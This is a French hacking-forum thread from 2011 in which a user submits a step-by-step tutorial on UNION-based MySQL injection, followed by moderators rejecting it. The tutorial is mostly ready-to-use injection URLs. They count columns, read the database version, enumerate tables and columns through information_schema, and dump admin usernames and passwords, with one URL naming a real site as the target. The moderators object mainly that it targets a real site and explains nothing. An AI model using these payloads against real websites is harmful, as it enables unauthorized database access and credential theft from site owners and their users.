NewbieContest

Général => Proposition de tutoriaux => Discussion démarrée par: Hypnoze57 le 04 Mai 2011 à 20:43:53



Titre: Injection MySQL Basic
Posté par: Hypnoze57 le 04 Mai 2011 à 20:43:53
**************************
* TUTO SQLi Basic By Hypnoze57 *
**************************

Bonjour, j'ai décidé de faire mon propre tutoriel sur l'injection sqli basic.

Etape 1 : Trouvé un site !


Le site :

Code:
http://www.......com/......php?id=1030

Pour savoir, ajouté un ' après le chiffre/nombres de l'id
Code:
http://www.......com/......php?id=1030'
--> ERREUR (FAILLE)

Etape 2 : Trouvé les columns !


Enlever le ' et ajouté
Code:
order by 20--
(20 est un exemple) si il y a une erreur, le column est plus petit, si la page charge normalement, vous devez trouvé le dernier chiffres qui charge la page normalement, j'explique mal je sais mais rien de mieux qu'un exemple :


Code:
http://www.......com/......php?id=1030 order by 14--
--> ERREUR !

Code:
http://www.......com/......php?id=1030 order by 13--
--> PAS D'ERREUR ! (Le bon collumn)

MAIS

Code:
http://www.......com/......php?id=1030 order by 10--
--PAS D'ERREUR MAIS PAS LE BON CAR LES AUTRES PLUS HAUT (11,12,13) charger aussi la page !


Etape 3 : Tout selectionné !

Code:
http://www.marmoon.com/pregames.php?id=-1030 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13--

N'oublié pas de rajouté le - après le .php?id=


Etape 4 : La version de la bdd !

Vous avez surement remarquer que lorsque vous séléctionné tout les columns un chiffre apparait sur la page (4 chez nous)?Pour trouvé la version de la base de donnée, vous devez remplacer ce fameux chiffre par
Code:
version()

Code:
http://www.......com/......php?id=-1030 union all select 1,2,3,version(),5,6,7,8,9,10,11,12,13--

Whouou ! La version et 5.*** ont peux continué ! Si la version est inférieur a 5, suivé un autre tutoriel ;)

Etape 5 : Trouvé les tables !

Les tables vont logger les users, password ou autres infos !

Pour les trouvés, remplacer
Code:
version()
par
Code:
group_concat(table_name)
& ajouté entre les deux -- et le dernier column ceci :
Code:
+from+information_schema.tables where table_schema=database()

Ce qui va nous donné :
Code:
http://www.......com/......php?id=-1030 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13+from+information_schema.tables where table_schema=database()--

Et la les tables s'affiche comme par miracle ! Celle qui nous intéresse est bien sûre admin !


Etape 6 : Exploité les tables !

Exploité les tables va nous servir a avoir les columns et dans les columns, il y aura les informations recherché !

Pour ceci, je vous invite a vous rendre ici : http://getyourwebsitehere.com/jswb/text_to_ascii.html

Ce site va convertir votre texte en ASCII.

Convertissé votre table, ex :
Code:
admin = admin = 97,100,109,105,110

Mais comment l'utilisé ! Tres simple :

remplacé
Code:
group_concat(table_name)
par
Code:
group_concat(column_name)

Et
Code:
information_schema.tables
par
Code:
information_schema.columns


Et enfin
Code:
where table_schema=database()--
Par
Code:
where table_name=char(97,100,109,105,110)
(remplacé 97,100,109,105,110 par votre table en ASCII)

Ce qui nous donne :
Code:
http://www.......com/......php?id=-1030 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13+from+information_schema.columns where table_name=char(97,100,109,105,110)

Etape 7 : Exploité les columns !

Pour exploité les columns que nous avons trouvé (id,admin,pass) chez nous, tres simple, c'est la dessus que s'acheve mon tutoriel

Remplacé
Code:
group_concat(column_name)
PAR
Code:
group_concat(admin,0x3a,pass)
(0x3a est la valeur ASCII pour séparer admin de pass et si vous voulé exploité id au lieu de admin, remplacé admin (ou pass)par id)

ET
Code:
+from+information_schema.columns where table_name=char(97,100,109,105,110)
PAR
Code:
+from+admin


Ce qui va nous donné :
Code:
http://www.......com/......php?id=-1030 union all select 1,2,3,group_concat(admin,0x3a,pass),5,6,7,8,9,10,11,12,13+from+admin

Et la miracle ! On as les pass et les users !

admin:asdfgh

L'user = admin
Le pass = asdfgh

(c) Hypnoze57 Tutoriel ! MERCI DE NE PAS LE COPIER !


Titre: Re : Injection MySQL Basic
Posté par: _o_ le 04 Mai 2011 à 21:22:21
Ce tuto n'est pas publiable tel quel. Quelques raisons parmi d'autre :
- il n'est pas question de publiquement expliquer comment rooter un site réel.
- le tuto est une suite d'injections, sans réelles explications sur le problème d'origine, et la façon dont on construit les injections pour aboutir à nos fins.
- enfin, les fautes...

J'ajoute que la mention demandant de ne pas copier le tuto est ridicule. Si on publie un papier, c'est pour expliquer des choses à des gens, et il est antinomique de s'opposer à sa copie. Il serait plus logique de demander, s'il est copié, de conserver les mentions légales et l'auteur, voir de le mettre explicitement sous une licence qui autorise le partage.


Titre: Re : Injection MySQL Basic
Posté par: Hypnoze57 le 05 Mai 2011 à 08:30:37
Ok, je prends note, merci de ta réponse.

Cordialement H57


Titre: Re : Injection MySQL Basic
Posté par: CommComm le 07 Mai 2011 à 12:53:44
C'est supposé rester en place un post qui indique comment pirater un site et qui plus est nommément désigné ? Perso, je suis partisan de le déchirer et de le mettre à la poubelle.


Titre: Re : Re : Injection MySQL Basic
Posté par: _o_ le 07 Mai 2011 à 18:49:22
C'est supposé rester en place un post qui indique comment pirater un site et qui plus est nommément désigné ?

Ben, il n'est pas en public. Les propositions de tuto ne sont lisibles que par leurs auteurs et les modéros. ;)


Titre: Re : Injection MySQL Basic
Posté par: CommComm le 08 Mai 2011 à 11:31:07
OK. Je vais me recoucher :(


Titre: Re : Re : Injection MySQL Basic
Posté par: _o_ le 08 Mai 2011 à 12:22:44
OK. Je vais me recoucher :(

Un petit coup de rhum dans ta verveine ? :)

Cela dit, le tuto est public, puisqu'il a aussi été publié ailleurs :
http://www.hackforums.net/archive/index.php/thread-1117750.html (http://www.hackforums.net/archive/index.php/thread-1117750.html)
http://www.shiftproduction.net/articles/articles-3-17+faille-sql-basic.php (http://www.shiftproduction.net/articles/articles-3-17+faille-sql-basic.php)

Dans le dernier cas, je ne sais pas qui est l'antécédent, mais il semble qu'il y a pompage quelque part.


Titre: Re : Injection MySQL Basic
Posté par: Hypnoze57 le 11 Mai 2011 à 12:33:10
J'ai entièrement rédiger ce tuto mais le lien que tu as mis (le second) n'est pas de moi, c'est un leecher ... --'


Titre: Re : Injection MySQL Basic
Posté par: the lsd le 11 Mai 2011 à 15:23:30
Qui est le leecheur, qui est le leeché... On ne saura jamais.

Cependant, comme l'as dit _o_, on ne peut pas mettre en public un tuto contenant une véritable adresse, et accessoirement c'est bourré de fautes (pour ce que j'en ai vu, il est assez soûlant de lire un texte ne contenant que des url, sans aucune explication derrière. 3 + 5 = 4 Si je le dis c'est vrai, je n'ai pas besoin d'expliquer pourquoi voyons !)

Bref, un gros effort à faire si tu veux voir ton tuto validé.

Enjoy

The lsd

PS : avant de gueuler contre nous que nous sommes d’infâmes enfoirés autoritaires et despotiques, pense que c'est pas pour nous que nous faisons ça. Les injections SQL comme ça, on sait tous en faire. C'est pour que tu puisses être validé, et donc que ton tuto soit de bonne qualité.


Titre: Re : Injection MySQL Basic
Posté par: Hypnoze57 le 11 Mai 2011 à 16:53:45
Je referais un tuto plus complet avec les blinds sql etc... et j'essayerais de faire le moins de faute d'orthographe...


Titre: Re : Injection MySQL Basic
Posté par: _o_ le 11 Mai 2011 à 17:47:34
Avant de te lancer dans la rédaction d'un tuto, vérifie quand même s'il n'y en a pas déjà un correct. De mémoire, on en a validé un potable sur les blind injections il y a quelques mois.


Titre: Re : Injection MySQL Basic
Posté par: Hypnoze57 le 11 Mai 2011 à 18:57:50
Ok j'irais voir :)